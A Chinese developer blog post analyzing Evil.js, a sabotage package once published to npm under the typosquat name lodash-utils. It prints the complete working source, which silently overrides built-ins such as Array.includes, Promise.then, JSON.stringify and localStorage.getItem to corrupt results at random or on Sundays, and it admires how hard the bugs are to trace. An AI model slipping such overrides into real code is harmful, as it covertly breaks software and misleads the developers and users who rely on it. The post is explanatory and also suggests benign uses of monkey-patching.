大家好,我是公众号「线下聚会游戏」作者HullQin,开发了《联机桌游合集》,是个网页,可以很方便的跟朋友联机玩斗地主、五子棋等游戏。
背景
2022年8月18日,一个名叫Evil.js
的项目突然走红,README介绍如下:
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。- 当周日时,
Array.map
方法的结果总是会丢失最后一个元素。Array.filter
的结果有2%的概率丢失最后一个元素。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
在周日时有10%不会注册。JSON.stringify
会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。
并且作者发布了这个包到npm上,名叫lodash-utils
,一眼看上去,是个非常正常的npm包,跟utils-lodash
这个正经的包的名称非常相似。
如果有人误装了lodash-utils
这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。
现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。
源码解析
作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。
立即执行函数
代码整体是一个立即执行函数,
(global => {
})((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
另有朋友反馈说,最新版本是这样的:
(global => { })((0, eval)('this'));
该函数的参数是
(0, eval)('this')
,目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis
的情况下也能够很好地支持,甚至在window
、globalThis
变量被恶意改写的情况下也可以获取到(类似于使用void 0
规避undefined
关键词被定义)。
为什么要用立即执行函数?
这样的话,内部定义的变量不会向外暴露。
使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。
否则,如果你这样写:
<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>
在这个例子中,其它脚本中可能会引用变量a
,此时a
不算局部变量。
includes方法
数组长度可以被7整除时,本方法永远返回false。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
map方法
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
filter方法
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
跟includes
一样,不多介绍了。
setTimeout
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
这个其实不太好,太容易发现了,不建议用。
Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
用途
作者很聪明,有多种方式去改写原生行为。
但是除了作恶,我们还可以做更多有价值的事情,比如:
- 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
- 修改原生fetch,统计所有请求平均耗时。
- 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
- 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
- ……
写在最后
我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,发送加微信,交个朋友),转发本文前需获得作者HullQin授权。我独立开发了《联机桌游合集》,是个网页,可以很方便的跟朋友联机玩斗地主、五子棋等游戏,不收费没广告。还独立开发了《合成大西瓜重制版》。还开发了《Dice Crush》参加Game Jam 2022。喜欢可以关注我 HullQin 噢~我有空了会分享做游戏的相关技术。